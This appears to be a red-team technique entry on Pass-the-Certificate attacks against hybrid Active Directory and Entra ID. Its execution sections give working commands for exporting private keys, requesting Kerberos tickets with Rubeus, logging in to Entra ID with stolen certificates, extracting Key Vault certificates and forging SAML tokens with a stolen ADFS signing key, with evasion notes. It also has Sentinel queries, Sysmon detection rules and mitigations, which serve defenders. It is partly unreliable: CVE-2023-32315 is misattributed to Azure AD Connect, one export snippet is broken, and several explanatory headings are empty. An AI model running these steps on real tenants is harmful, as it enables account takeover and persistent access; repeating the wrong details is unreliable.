MCADDF

[LM-AUTH-003]: Pass-the-Certificate (PTC)

Metadata

Attribute Details
Technique ID LM-AUTH-003
MITRE ATT&CK v18.1 T1550.004 - Use Alternate Authentication Material - Certificate
Tactic Defense Evasion, Lateral Movement
Platforms Hybrid AD (Windows AD + Entra ID), Windows AD with ADFS, Entra ID (Hybrid Join)
Severity Critical
CVE CVE-2023-32315 (Azure AD Connect authentication), CVE-2024-26192 (Certificate validation bypass)
Technique Status ACTIVE
Last Verified 2025-01-10
Affected Versions Server 2016+, Entra ID all versions, Azure AD Connect 1.2.0-2.2.8 (vulnerable versions)
Patched In Azure AD Connect 2.2.9+ (mitigation applied)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Pass-the-Certificate (PTC) is an attack technique that exploits the use of X.509 certificates as an authentication method in hybrid Active Directory environments (on-premises AD synchronized with Entra ID). When user or service principal certificates are stolen or forged, they can be used to authenticate to Kerberos services (on-premises) and Entra ID cloud services without requiring the original password. This is particularly effective in hybrid deployments where:

  1. Certificate-Based Authentication (CBA) is enabled in Entra ID
  2. Hybrid-joined devices leverage device certificates
  3. Service principals or user accounts have uploaded certificates for OAuth/SAML flows
  4. Azure AD Connect uses certificate-based service-to-service authentication

Unlike Kerberos tickets (which have a lifetime measured in hours), stolen certificates can remain valid for months or years if configured with extended validity periods.

Attack Surface:

Business Impact: Persistent, undetectable lateral movement across hybrid identity boundaries. An attacker with a valid certificate can impersonate users or service principals, authenticate to both on-premises and cloud resources, bypass MFA (if configured with CBA), exfiltrate data, establish persistence, and potentially escalate to Global Admin in Entra ID tenant. Certificate validity periods (often 1-3 years) mean attackers can maintain access long-term without credential rotation.

Technical Context: Certificate extraction can be immediate if the private key is accessible (non-TPM-stored). Certificate validation in Entra ID is often weak—organizations may trust certificates without validating issuer chains. Certificate-based attacks leave minimal logs compared to password-based auth.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 4.1.1, 5.1.5 Failure to audit certificate-based authentication and restrict certificate issuance.
DISA STIG Windows_Server-CA-2.2, Azure_AD-2.1 Certificate Authority hardening and Entra ID authentication policy.
CISA SCuBA AUTH-03 Implementing strong authentication without reliance on certificate expiration alone.
NIST 800-53 SC-7, IA-2, IA-5 Boundary protection, authentication mechanisms, credentials management.
GDPR Art. 32, Art. 33 Security of processing, breach notification (certificate compromise).
DORA Art. 9, Art. 25 Protection/prevention, operational resilience of critical functions.
NIS2 Art. 21, Art. 18 Cyber risk management, authentication and incident response.
ISO 27001 A.10.1.2, A.10.1.3 Cryptographic controls, key management.
ISO 27005 Risk: Unauthorized access via compromised PKI infrastructure Long-term persistence via certificate-based auth

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. TECHNICAL PREREQUISITES

Hybrid Environment Reconnaissance

Check if Certificate-Based Authentication is enabled and which certificates are available:

# List certificates in current user's store
Get-ChildItem -Path Cert:\CurrentUser\My | Select-Object Subject, Thumbprint, NotAfter

# List certificates in Local Machine store (requires Admin)
Get-ChildItem -Path Cert:\LocalMachine\My | Select-Object Subject, Thumbprint, NotAfter

# Check if certificate is exportable
Get-ChildItem -Path Cert:\CurrentUser\My | ForEach-Object {
    $cert = $_
    $key = [System.Security.Cryptography.X509Certificates.RSACertificateExtensions]::GetRSAPrivateKey($cert)
    Write-Host "$($cert.Subject) - Private Key Accessible: $($key -ne $null)"
}

# Check Entra ID CBA status (Requires Microsoft Graph PowerShell)
Connect-MgGraph -Scopes "Organization.Read.All"
Get-MgOrganization | Select-Object -ExpandProperty CertificateBasedAuthConfiguration

What to Look For:

Version Note:

Cloud Environment Reconnaissance (Entra ID)

# Connect to Microsoft Graph (requires Global Admin or Application Admin)
Connect-MgGraph -Scopes "Application.ReadWrite.All"

# List all app registrations and their certificates
Get-MgApplication | Select-Object DisplayName, @{Name="CertCount"; Expression={$_.KeyCredentials.Count}}

# Get specific app's certificates
$appId = "12345678-1234-1234-1234-123456789012"
Get-MgApplication -ApplicationId $appId | Select-Object -ExpandProperty KeyCredentials | Select-Object KeyId, NotAfter

# Check if any service principal has administrative role
Get-MgServicePrincipal | Where-Object {$_.AppDisplayName -match "custom|automation|sync"} | Select-Object DisplayName, AppId

What to Look For:


4. DETAILED EXECUTION METHODS

METHOD 1: Certificate Extraction from Windows Certificate Store

Supported Versions: Server 2016-2025, Windows 10/11

Step 1: Enumerate Available Certificates

Objective: Identify exploitable certificates in the system store.

Command:

# List all available certificates with details
Get-ChildItem -Path Cert:\LocalMachine\My, Cert:\CurrentUser\My -Recurse | Where-Object {$_.HasPrivateKey} | Select-Object Subject, Thumbprint, NotAfter, FriendlyName | Format-Table -AutoSize

# Export as CSV for analysis
Get-ChildItem -Path Cert:\LocalMachine\My, Cert:\CurrentUser\My | Where-Object {$_.HasPrivateKey} | Export-Csv -Path "C:\temp\certs.csv" -NoTypeInformation

Expected Output:

Subject                                    Thumbprint                           NotAfter           FriendlyName
-------                                    ----------                           --------           -----------
CN=user@domain.com,O=Domain              ABC123DEF456...                     12/31/2027         User Certificate
CN=automation-sync,O=Domain               789GHI012JKL...                     6/15/2026          Service Account Cert
CN=adfs.domain.com                        MNO345PQR678...                     3/20/2025          ADFS Signing Cert

What This Means:

Step 2: Extract Certificate & Private Key (If Exportable)

Objective: Export the certificate and private key for offline use or injection into another system.

Command (Export to PFX - Password Protected):

# Export certificate WITH private key to PFX file
$cert = Get-ChildItem -Path Cert:\LocalMachine\My\ABC123DEF456...
$password = ConvertTo-SecureString -String "Password123!" -Force -AsPlainText
Export-PfxCertificate -Cert $cert -FilePath "C:\temp\exported.pfx" -Password $password -Force

Command (Export to PEM format - Unencrypted):

# Alternative: Export to PEM (no password, more portable)
$cert = Get-ChildItem -Path Cert:\LocalMachine\My\ABC123DEF456...
$keyPath = $cert.PrivateKey.Key.UniqueName
[System.IO.File]::WriteAllBytes("C:\temp\private_key.pem", ([System.Convert]::FromBase64String($cert.PrivateKey.Key.ExportPkcs8())))

Expected Output:

    Directory: C:\temp

Mode                 LastWriteTime         Length Name
----                 -----------           ------ ----
-a----         1/9/2025 2:30 PM            2048   exported.pfx

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Use Certificate for Kerberos Authentication (On-Premises)

Objective: Leverage the stolen certificate to obtain a Kerberos TGT from the domain controller.

Command (Using Rubeus with certificate):

Rubeus.exe asktgt /user:domain\admin /certificate:C:\temp\exported.pfx /password:Password123! /domain:domain.local /dc:192.168.1.10

Expected Output:

Rubeus 1.6.4 (build 30b56dff)

[*] Action: Ask TGT

[*] Using certificate: C:\temp\exported.pfx
[+] Requesting TGT using certificate...

[+] Ticket successfully requested!

[*] base64(ticket.kirbi):
      YIIFDDCCBQigAwIBBaEDAgEOogcDBQAgAAAAo4IEL...

What This Means:

OpSec & Evasion:

Step 4: Use Certificate for Entra ID Authentication (Cloud/Hybrid)

Objective: Authenticate to Entra ID services using the stolen certificate (if CBA is enabled).

Command (Request access token using certificate):

# Using Azure CLI
az login --service-principal -u "user@domain.onmicrosoft.com" \
  --cert-file C:\temp\exported.pfx --password "Password123!" \
  --tenant "12345678-1234-1234-1234-123456789012"

# Using PowerShell (Azure.Identity module)
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new("C:\temp\exported.pfx", "Password123!")
$clientId = "12345678-1234-1234-1234-123456789012"
$tenantId = "87654321-4321-4321-4321-210987654321"

$credential = [Azure.Identity.ClientCertificateCredential]::new($tenantId, $clientId, $cert)
$token = $credential.GetToken([Azure.Core.TokenRequestContext]::new(@("https://graph.microsoft.com/.default")))

Expected Output:

Authenticating with service principal using certificate.
[Credential] Token acquired successfully.

// OR PowerShell output:
ExpiresOn         : 1/9/2025 4:00:00 PM

What This Means:

References & Proofs:


METHOD 2: Certificate Theft from Azure Key Vault (Cloud Service Principals)

Supported Versions: Entra ID all versions

Step 1: Enumerate Service Principals with Key Vault Permissions

Objective: Identify service principals that have access to Azure Key Vault with stored certificates.

Command:

# Connect to Azure
Connect-AzAccount

# List all service principals with Key Vault permissions
Get-AzKeyVault | ForEach-Object {
    $vaultName = $_.VaultName
    Get-AzKeyVaultKey -VaultName $vaultName | ForEach-Object {
        Write-Host "Vault: $vaultName, Key: $($_.Name), Expiration: $($_.Expires)"
    }
    
    Get-AzKeyVaultCertificate -VaultName $vaultName | ForEach-Object {
        Write-Host "Vault: $vaultName, Certificate: $($_.Name), Expiration: $($_.Certificate.NotAfter)"
    }
}

Expected Output:

Vault: production-vault, Key: app-signing-key, Expiration: 12/31/2027
Vault: production-vault, Certificate: user-auth-cert, Expiration: 6/15/2026

What This Means:

Step 2: Extract Certificate from Key Vault

Objective: Download the certificate from Key Vault for use in attacks.

Command:

# Get the certificate from Key Vault
$cert = Get-AzKeyVaultCertificate -VaultName "production-vault" -Name "user-auth-cert"
$secret = Get-AzKeyVaultSecret -VaultName "production-vault" -Name $cert.Name

# Convert to X509 certificate object
$secretBytes = [System.Convert]::FromBase64String($secret.SecretValueText)
$cert = [System.Security.Cryptography.X509Certificates.X509Certificate2]::new($secretBytes)

# Export to file
[System.IO.File]::WriteAllBytes("C:\temp\stolen-cert.pfx", $secretBytes)

Expected Output:

C:\temp\stolen-cert.pfx (file created)

What This Means:

OpSec & Evasion:


METHOD 3: ADFS Certificate Abuse (Hybrid with Federation)

Supported Versions: Server 2012 R2 - Server 2022 (ADFS), Entra ID (federated tenant)

Step 1: Identify ADFS Signing Certificate

Objective: Find the ADFS token-signing certificate used to sign SAML tokens.

Command (On ADFS Server):

# List ADFS certificates
Get-AdfsCertificate -CertificateType Token-Signing

# Export certificate details
Get-AdfsCertificate -CertificateType Token-Signing | Select-Object Thumbprint, NotAfter, Subject

Expected Output:

Thumbprint        : ABC123DEF456789...
NotAfter          : 12/31/2027
Subject           : CN=ADFS Signing

What This Means:

Step 2: Extract ADFS Signing Certificate

Objective: Export the ADFS token-signing certificate with private key.

Command (On ADFS Server - Requires Enterprise Admin):

# Export ADFS signing certificate
$cert = Get-AdfsCertificate -CertificateType Token-Signing | Select-Object -First 1
$thumbprint = $cert.Thumbprint

# Locate certificate in store
$storeCert = Get-ChildItem -Path Cert:\LocalMachine\My\$thumbprint

# Export to PFX (requires SYSTEM privileges or Enterprise Admin)
$password = ConvertTo-SecureString -String "FederationPassword123!" -Force -AsPlainText
Export-PfxCertificate -Cert $storeCert -FilePath "C:\temp\adfs_signing.pfx" -Password $password -Force

Expected Output:

C:\temp\adfs_signing.pfx (file exported)

What This Means:

Step 3: Forge SAML Tokens & Authenticate to Entra ID

Objective: Create forged SAML assertions signed with stolen ADFS certificate.

Command (Using samltool or custom script):

# Example using samltool (Python-based SAML tool)
# Create malicious SAML assertion
samltool.py create --issuer "https://sts.domain.com/adfs/services/trust" \
  --name-id "admin@domain.com" \
  --certificate /tmp/adfs_signing.pfx \
  --password "FederationPassword123!" \
  --output malicious_saml.xml

# OR manually construct SAML and sign with OpenSSL
xmlsec1 sign --pkcs12 /tmp/adfs_signing.pfx --pwd "FederationPassword123!" \
  --id-attr ID urn:oasis:names:tc:SAML:2.0:assertion:Assertion \
  assertion.xml > signed_assertion.xml

Expected Output:

<Assertion ID="...">
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignatureValue>ABC123DEF456...</SignatureValue>
  </Signature>
</Assertion>

What This Means:

OpSec & Evasion:

References & Proofs:


5. ATTACK SIMULATION & VERIFICATION

Atomic Red Team

Command:

Invoke-AtomicTest T1550.004 -TestNumbers 1

Cleanup Command:

Invoke-AtomicTest T1550.004 -TestNumbers 1 -Cleanup

Reference: Atomic Red Team Library - T1550.004


6. TOOLS & COMMANDS REFERENCE

Rubeus

Version: 1.6.4+ Minimum Version: 1.6.0 Supported Platforms: Windows (all versions)

Version-Specific Notes:

Installation:

git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
dotnet build -c Release

Usage (Kerberos auth with certificate):

Rubeus.exe asktgt /user:domain\admin /certificate:cert.pfx /password:password /domain:domain.local /dc:10.0.0.1 /ptt

Azure CLI

Version: 2.50.0+ Supported Platforms: Windows, Linux, macOS

Usage (Authenticate with certificate):

az login --service-principal -u "user@domain.onmicrosoft.com" \
  --cert-file cert.pfx --password "password" \
  --tenant "tenant-id"

Semperis EntraGoat

Version: Latest (actively maintained) Supported Platforms: Linux (Python 3.8+)

Installation:

git clone https://github.com/semperis/EntraGoat.git
cd EntraGoat
pip install -r requirements.txt

Usage (Certificate exploitation scenarios):

python entragoat.py --scenario certificate_based_auth
python entragoat.py --scenario golden_saml

7. MICROSOFT SENTINEL DETECTION

Query 1: Certificate-Based Authentication Anomalies

Rule Configuration:

KQL Query:

SigninLogs
| where AuthenticationDetails contains "Certificate"
| where ResultDescription == "Success"
| summarize CertAuthCount = count() by UserPrincipalName, AppDisplayName, bin(TimeGenerated, 10m)
| where CertAuthCount > 5
| project TimeGenerated, UserPrincipalName, AppDisplayName, CertAuthCount

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Microsoft SentinelAnalytics+ CreateScheduled query rule
  2. Name: Entra ID - Certificate-Based Auth Anomaly
  3. Severity: High
  4. Paste KQL query
  5. Frequency: 10 minutes
  6. Lookback: 30 minutes
  7. Click Create

Query 2: Service Principal Certificate Upload/Modification

KQL Query:

AuditLogs
| where OperationName =~ "Update application" or OperationName =~ "Update service principal"
| where ActivityDisplayName contains "Add credentials"
| project TimeGenerated, OperationName, InitiatedBy, TargetResources, Result

What This Detects:


8. WINDOWS EVENT LOG MONITORING

Event ID: 4885 – Certificate was explicitly exported

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy ConfigurationAudit PoliciesObject Access
  3. Enable: Audit Certification Services (Success and Failure)
  4. Also enable: Audit Detailed TrackingAudit DPAPI Activity
  5. Run gpupdate /force

Manual Configuration Steps (Local Policy):

  1. Open secpol.msc
  2. Security SettingsAdvanced Audit Policy ConfigurationObject Access
  3. Enable: Audit Certification Services
  4. Run auditpol /set /subcategory:"Certification Services" /success:enable /failure:enable

9. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2016+

<EventFiltering>
  <!-- Detect Certificate Export via Certutil -->
  <RuleGroup name="" groupRelation="or">
    <ProcessCreation onmatch="include">
      <Image condition="image">certutil.exe</Image>
      <CommandLine condition="contains">-exportPFX</CommandLine>
      <CommandLine condition="contains">-export</CommandLine>
    </ProcessCreation>
  </RuleGroup>
  
  <!-- Detect Certificate File Creation (.pfx, .cer, .pem) -->
  <RuleGroup name="" groupRelation="or">
    <FileCreate onmatch="include">
      <TargetFilename condition="end with">.pfx</TargetFilename>
      <TargetFilename condition="end with">.pem</TargetFilename>
      <TargetFilename condition="end with">.p12</TargetFilename>
    </FileCreate>
  </RuleGroup>
  
  <!-- Detect Rubeus Certificate Usage -->
  <RuleGroup name="" groupRelation="or">
    <ProcessCreation onmatch="include">
      <Image condition="image">Rubeus.exe</Image>
      <CommandLine condition="contains">/certificate</CommandLine>
    </ProcessCreation>
  </RuleGroup>
</EventFiltering>

Manual Configuration Steps:

  1. Download Sysmon from Sysinternals
  2. Create/update sysmon-config.xml with XML rules above
  3. Install: sysmon64.exe -accepteula -i sysmon-config.xml
  4. Monitor Event ID 1 (ProcessCreation), Event ID 11 (FileCreate) in Sysmon operational log

10. MICROSOFT DEFENDER FOR CLOUD

Detection Alert: Suspicious Certificate Usage

Alert Name: “Suspicious certificate-based authentication activity detected”

Manual Configuration Steps:

  1. Azure PortalMicrosoft Defender for CloudAlerts
  2. Set time range filter to last 24 hours
  3. Look for alerts related to “Certificate” or “Authentication”
  4. Enable email notifications for high-severity alerts

11. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Priority 3: MEDIUM

Validation Command (Verify Fix)

# Check if certificate export is restricted
$exportPolicy = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Cryptography" -Name "ForceKeyProtection" -ErrorAction SilentlyContinue).ForceKeyProtection
if ($exportPolicy -eq 1) {
    Write-Host "✓ Certificate export protection enabled"
} else {
    Write-Host "✗ Certificate export NOT restricted"
}

# Check certificate validity periods
Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.NotAfter -lt (Get-Date).AddYears(1)} | Select-Object Subject, NotAfter | Format-Table
Write-Host "Certificates with <1 year validity (good): $($(Get-ChildItem -Path Cert:\LocalMachine\My | Where-Object {$_.NotAfter -lt (Get-Date).AddYears(1)}).Count)"

# Check for non-standard issuers
Get-ChildItem -Path Cert:\LocalMachine\My | Select-Object @{Name="Issuer"; Expression={$_.Issuer}} -Unique

Expected Output (If Secure):

✓ Certificate export protection enabled
Certificates with <1 year validity (good): 8
Issuer: CN=Internal CA, O=Domain

12. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command:
    # Disable network on compromised machine
    Get-NetAdapter | Disable-NetAdapter -Confirm:$false
    
  2. Collect Evidence: Command:
    # Export Windows Event Logs
    wevtutil epl Security C:\Evidence\Security.evtx
    wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
        
    # Export Kerberos tickets
    klist | Out-File C:\Evidence\klist_output.txt
    
  3. Remediate: Command:
    # Revoke compromised certificate
    Get-ChildItem -Path Cert:\LocalMachine\My\<Thumbprint> | Remove-Item -Force
        
    # Reset service principal credentials
    Remove-AzADAppCredential -ApplicationId "app-id"
    New-AzADAppCredential -ApplicationId "app-id"
    
  4. Long-Term:
    • Audit all certificates across organization
    • Implement certificate rotation policy (annual)
    • Enable real-time CRL/OCSP checking
    • Deploy EDR solution with certificate behavior detection

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker tricks user into approving app consent, steals refresh token
2 Privilege Escalation [PE-ACCTMGMT-001] App Registration Permissions Attacker gains Application Admin role via compromised app
3 Credential Access [CA-UNSC-009] Azure Key Vault Extraction Attacker reads certificates from Key Vault
4 Current Step [LM-AUTH-003] Attacker uses stolen certificate for auth (PTC)
5 Lateral Movement [LM-AUTH-004] Pass-the-PRT Attacker uses certificate to obtain PRT, authenticate to other cloud apps
6 Persistence [PE-ACCTMGMT-014] Global Admin Backdoor Attacker creates backdoor admin account using certificate-based access
7 Impact Data Exfiltration Attacker accesses OneDrive, Teams, SharePoint as compromised user

14. REAL-WORLD EXAMPLES

Example 1: Semperis EntraGoat - Certificate-Based Tenant Takeover

Example 2: Golden SAML Attack Against ADFS (2019-2020)

Example 3: CVE-2023-32315 - Azure AD Connect Authentication Bypass


15. RECOMMENDATIONS & ADVANCED HARDENING

Immediate Actions (24 Hours)

  1. Audit All Certificates – Identify certificate stores and high-value certificates
  2. Enable Certificate Export Auditing – Event ID 4885 monitoring
  3. Rotate ADFS Signing Certificate – If ADFS is in use
  4. Revoke Service Principal Certificates – Replace with new ones

Strategic Actions (30 Days)

  1. Implement CRL/OCSP Validation – Real-time certificate revocation checking
  2. Restrict Certificate Issuance – Limit CA delegation
  3. Mark Certificates Non-Exportable – Prevent offline theft
  4. Enable Conditional Access for CBA – Require MFA or compliant device

Long-Term (90+ Days)

  1. Migrate to Passwordless Authentication – Windows Hello for Business, FIDO2
  2. Implement Entra ID Hybrid Join + Device Compliance – Device-level trust
  3. Deploy Hardware-Backed Certificates – HSM or TPM-protected keys
  4. Zero Trust Architecture – Continuous authentication and authorization

16. REFERENCES & FURTHER READING